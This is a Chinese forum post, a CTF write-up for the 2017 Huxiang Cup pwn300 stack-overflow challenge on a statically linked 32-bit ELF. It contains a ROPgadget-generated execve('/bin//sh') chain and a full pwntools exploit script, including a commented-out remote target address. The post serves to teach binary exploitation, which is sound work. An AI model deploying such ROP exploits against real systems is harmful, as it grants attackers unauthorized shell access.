首页
论坛
专栏
课程

[原创] 2017湖湘杯pwn300 栈溢出(静态链接elf)

sakura零 2018-2-12 23:46 1657

考察点

  • 栈溢出
  • 静态链接

Linux栈溢出——静态链接

一般情况下,CTF里静态链接的程序很少出现,但是也有一些。这类elf的漏洞利用,主要还是依靠程序本身和用户输入。
利用方式:
(1)程序中含有system函数和/bin/sh字符串,直接构造调用system('/bin/sh')的payload。
(2)寻找程序中的gadget,直接构造出payload。

题目链接

https://github.com/eternalsakura/ctf_pwn/tree/master/湖湘杯2017/pwn300

静态分析

利用

checksec 安全性检查


32位程序,没有ASLR,没有canary,可以说是十分好利用了。

查看是否静态链接

ldd pwn300

确定是静态链接了,那么我们之间在elf文件里找gadget即可

ROPgadget生成rop链

关于ROPgadget:https://github.com/JonathanSalwan/ROPgadget/tree/master
关于ROP:https://www.slideshare.net/hackstuff/rop-40525248
ROPgadget --binary pwn300 --ropchain

    #!/usr/bin/env python2
    # execve generated by ROPgadget
    from struct import pack
    # Padding goes here
    p = ''
    p += pack('<I', 0x0806ed0a) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080bb406) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ed0a) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080bb406) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ed0a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08054730) # xor eax, eax ; ret
    p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x0806ed31) # pop ecx ; pop ebx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080ea060) # padding without overwrite ebx
    p += pack('<I', 0x0806ed0a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08054730) # xor eax, eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x0807b75f) # inc eax ; ret
    p += pack('<I', 0x08049781) # int 0x80

因为我们需要的不是这种形式的,所以写个脚本处理一下。

rop = []
# i = 1
for line in open("data"):
    # print line,
    if "pack" in line:
        # print i
        # print str(line).split(", ")[1].split(")")[0]
        rop.append(str(line).split(", ")[1].split(")")[0])
    else:
        # print i
        # print line
        rop.append(str(line).split("+= ")[1][1:-2])
    # i += 1
print rop

['0x0806ed0a', '0x080ea060', '0x080bb406', '/bin', '0x080a1dad', '0x0806ed0a', '0x080ea064', '0x080bb406', '//sh', '0x080a1dad', '0x0806ed0a', '0x080ea068', '0x08054730', '0x080a1dad', '0x080481c9', '0x080ea060', '0x0806ed31', '0x080ea068', '0x080ea060', '0x0806ed0a', '0x080ea068', '0x08054730', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x08049781']
把两个字符串再处理一下

import binascii
print '0x'+binascii.b2a_hex('nib/')
print '0x'+binascii.b2a_hex('hs//')

得到0x6e69622f,0x68732f2f
替换进去,得到rop=
['0x0806ed0a', '0x080ea060', '0x080bb406', '0x6e69622f', '0x080a1dad', '0x0806ed0a', '0x080ea064', '0x080bb406', '0x68732f2f', '0x080a1dad', '0x0806ed0a', '0x080ea068', '0x08054730', '0x080a1dad', '0x080481c9', '0x080ea060', '0x0806ed31', '0x080ea068', '0x080ea060', '0x0806ed0a', '0x080ea068', '0x08054730', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x08049781']

 

exp

from pwn import *
shellcode_hex=['0x0806ed0a', '0x080ea060', '0x080bb406', '0x6e69622f', '0x080a1dad', '0x0806ed0a', '0x080ea064', '0x080bb406', '0x68732f2f', '0x080a1dad', '0x0806ed0a', '0x080ea068', '0x08054730', '0x080a1dad', '0x080481c9', '0x080ea060', '0x0806ed31', '0x080ea068', '0x080ea060', '0x0806ed0a', '0x080ea068', '0x08054730', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x08049781']
shellcode=[]
for i in shellcode_hex:
     shellcode.append(int(i,16))
payload = []
QJ = 16
for i in range(QJ):
    payload.append(i)
for i in shellcode:
    payload.append(i)
p = process('pwn300')
# p = remote('118.190.85.135',10080)
tot = QJ+len(shellcode)
p.recvuntil('calculate:')
p.sendline(str(tot+1))
for i in range(QJ):
    p.recvuntil('5 Save the result\n')
    p.sendline('2')
    p.recvuntil('input the integer x:')
    p.sendline('0')
    p.recvuntil('input the integer y:')
    p.sendline('0')
    p.recvuntil('\n')
for i in range(QJ,tot):
    p.recvuntil('5 Save the result\n')
    p.sendline('1')
    p.recvuntil('input the integer x:')
    p.sendline(str(payload[i]))
    p.recvuntil('input the integer y:')
    p.sendline('0')
    p.recvuntil('\n')
#gdb.attach(p)
p.sendline('5')
p.interactive()


[防守篇]2018看雪.TSRC CTF 挑战赛(团队赛)11月1日征题开启!

最新回复 (3)
INTx 2018-6-9 20:51
2

0

check怎么装的啊?
wx_哈哈哈 2018-6-9 21:49
3

0

INTx check怎么装的啊?
pwntools里面有,sudo  pip  install  pwntools
Snowleo 1 2018-10-31 20:34
4

0

我做题的时候一直通过看IDA上给的偏移来确定padding的,从ida中看v5=ebp-0x34,但不过怎么试都不行。结果我看writeup后试了下padding = 16,就ok了。大家可以看一下我调试的结果。
可以看到v5位于0xffce36e8+4,而ebp=0xffce3728, ebp-v5 = 0x3c
所以padding的偏移为0x3c+4=0x40,也就是说总共填入16次才覆盖到ebp。
所以做题不能完全依赖ida   o(╥﹏╥)o
返回